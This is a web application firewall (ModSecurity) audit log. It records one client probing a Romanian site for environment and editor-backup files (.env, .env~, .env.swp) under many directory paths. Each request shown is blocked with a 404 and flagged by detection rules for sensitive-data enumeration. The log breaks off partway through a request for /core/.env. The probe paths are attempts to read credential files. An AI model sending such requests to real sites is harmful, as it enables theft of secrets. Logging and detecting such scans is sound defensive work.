[13/Sep/2026:05:33:13.937526 +0300] aqYLaUwu1RSkptiiNIXtkAAAAI4 34.175.231.24 51066 127.0.0.1 7081
--e60bf642-B--
GET /.env.swp HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e60bf642-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e60bf642-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.env.swp"] [unique_id "aqYLaUwu1RSkptiiNIXtkAAAAI4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266793797040 140550 (- - -)
Stopwatch2: 1789266793797040 140550; combined=6987, p1=1030, p2=5813, p3=0, p4=0, p5=144, sr=840, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e60bf642-Z--
--0277ca29-A--
[13/Sep/2026:05:33:16.051053 +0300] aqYLa2M7dE9KgIIOpQhdgQAAAM0 34.175.231.24 49332 127.0.0.1 7081
--0277ca29-B--
GET /.env~ HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--0277ca29-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0277ca29-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env~||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.env~"] [unique_id "aqYLa2M7dE9KgIIOpQhdgQAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266795882279 168829 (- - -)
Stopwatch2: 1789266795882279 168829; combined=4779, p1=336, p2=4361, p3=0, p4=0, p5=82, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0277ca29-Z--
--38f08864-A--
[13/Sep/2026:05:33:31.036663 +0300] aqYLeisVWymXUono-eRQrAAAAAk 34.175.231.24 40044 127.0.0.1 7081
--38f08864-B--
GET /app/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--38f08864-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--38f08864-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/app/.env"] [unique_id "aqYLeisVWymXUono-eRQrAAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266810900391 136334 (- - -)
Stopwatch2: 1789266810900391 136334; combined=4408, p1=284, p2=4047, p3=0, p4=0, p5=77, sr=142, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--38f08864-Z--
--eb24ae76-A--
[13/Sep/2026:05:33:32.277344 +0300] aqYLfGM7dE9KgIIOpQhdhQAAAM8 34.175.231.24 40048 127.0.0.1 7081
--eb24ae76-B--
GET /apps/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--eb24ae76-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--eb24ae76-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/apps/.env"] [unique_id "aqYLfGM7dE9KgIIOpQhdhQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266812130990 146421 (- - -)
Stopwatch2: 1789266812130990 146421; combined=5790, p1=351, p2=5346, p3=0, p4=0, p5=93, sr=137, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--eb24ae76-Z--
--1df93324-A--
[13/Sep/2026:05:33:33.765903 +0300] aqYLfWM7dE9KgIIOpQhdhgAAANE 34.175.231.24 40052 127.0.0.1 7081
--1df93324-B--
GET /api/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--1df93324-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1df93324-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/.env"] [unique_id "aqYLfWM7dE9KgIIOpQhdhgAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266813651494 114463 (- - -)
Stopwatch2: 1789266813651494 114463; combined=4339, p1=347, p2=3928, p3=0, p4=0, p5=64, sr=162, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1df93324-Z--
--1bce6e73-A--
[13/Sep/2026:05:33:35.272645 +0300] aqYLf2M7dE9KgIIOpQhdhwAAANM 34.175.231.24 40062 127.0.0.1 7081
--1bce6e73-B--
GET /web/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--1bce6e73-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1bce6e73-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/web/.env"] [unique_id "aqYLf2M7dE9KgIIOpQhdhwAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266815116840 155872 (- - -)
Stopwatch2: 1789266815116840 155872; combined=7048, p1=414, p2=6577, p3=0, p4=0, p5=56, sr=156, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1bce6e73-Z--
--ec1b8144-A--
[13/Sep/2026:05:33:36.840687 +0300] aqYLgGM7dE9KgIIOpQhdiAAAANY 34.175.231.24 58804 127.0.0.1 7081
--ec1b8144-B--
GET /site/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--ec1b8144-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ec1b8144-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/site/.env"] [unique_id "aqYLgGM7dE9KgIIOpQhdiAAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266816718439 122304 (- - -)
Stopwatch2: 1789266816718439 122304; combined=4547, p1=311, p2=4128, p3=0, p4=0, p5=107, sr=141, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ec1b8144-Z--
--c4eaea5e-A--
[13/Sep/2026:05:33:38.619038 +0300] aqYLgmM7dE9KgIIOpQhdigAAAMY 34.175.231.24 58816 127.0.0.1 7081
--c4eaea5e-B--
GET /public/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--c4eaea5e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c4eaea5e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/public/.env"] [unique_id "aqYLgmM7dE9KgIIOpQhdigAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266818502049 117052 (- - -)
Stopwatch2: 1789266818502049 117052; combined=4876, p1=253, p2=4568, p3=0, p4=0, p5=54, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c4eaea5e-Z--
--d23aed6b-A--
[13/Sep/2026:05:33:39.901513 +0300] aqYLgzTJ6xTvcJoem7f1dQAAAFU 34.175.231.24 58826 127.0.0.1 7081
--d23aed6b-B--
GET /admin/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--d23aed6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d23aed6b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/admin/.env"] [unique_id "aqYLgzTJ6xTvcJoem7f1dQAAAFU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266819762112 139558 (- - -)
Stopwatch2: 1789266819762112 139558; combined=5213, p1=284, p2=4837, p3=0, p4=0, p5=91, sr=123, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d23aed6b-Z--
--4ea58e1d-A--
[13/Sep/2026:05:33:41.152427 +0300] aqYLhWM7dE9KgIIOpQhdiwAAAMU 34.175.231.24 58834 127.0.0.1 7081
--4ea58e1d-B--
GET /backend/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--4ea58e1d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4ea58e1d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/backend/.env"] [unique_id "aqYLhWM7dE9KgIIOpQhdiwAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266821037515 114997 (- - -)
Stopwatch2: 1789266821037515 114997; combined=4421, p1=267, p2=4101, p3=0, p4=0, p5=53, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4ea58e1d-Z--
--c2335d71-A--
[13/Sep/2026:05:33:42.070718 +0300] aqYLhSsVWymXUono-eRQrQAAABI 34.175.231.24 58848 127.0.0.1 7081
--c2335d71-B--
GET /server/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--c2335d71-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c2335d71-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/server/.env"] [unique_id "aqYLhSsVWymXUono-eRQrQAAABI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266821952642 118130 (- - -)
Stopwatch2: 1789266821952642 118130; combined=4718, p1=256, p2=4384, p3=0, p4=0, p5=77, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c2335d71-Z--
--7d8bf247-A--
[13/Sep/2026:05:33:43.745555 +0300] aqYLh2M7dE9KgIIOpQhdjAAAANI 34.175.231.24 58860 127.0.0.1 7081
--7d8bf247-B--
GET /frontend/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--7d8bf247-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7d8bf247-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/frontend/.env"] [unique_id "aqYLh2M7dE9KgIIOpQhdjAAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266823602822 142827 (- - -)
Stopwatch2: 1789266823602822 142827; combined=8939, p1=2873, p2=5991, p3=0, p4=0, p5=74, sr=1489, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7d8bf247-Z--
--49cd2276-A--
[13/Sep/2026:05:33:45.243698 +0300] aqYLiWM7dE9KgIIOpQhdjQAAAM0 34.175.231.24 58868 127.0.0.1 7081
--49cd2276-B--
GET /src/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--49cd2276-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--49cd2276-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/src/.env"] [unique_id "aqYLiWM7dE9KgIIOpQhdjQAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266825128436 115386 (- - -)
Stopwatch2: 1789266825128436 115386; combined=4726, p1=331, p2=4252, p3=0, p4=0, p5=142, sr=174, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--49cd2276-Z--
--2f35590a-A--
[13/Sep/2026:05:33:46.718800 +0300] aqYLimM7dE9KgIIOpQhdjgAAANQ 34.175.231.24 50258 127.0.0.1 7081
--2f35590a-B--
GET /core/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
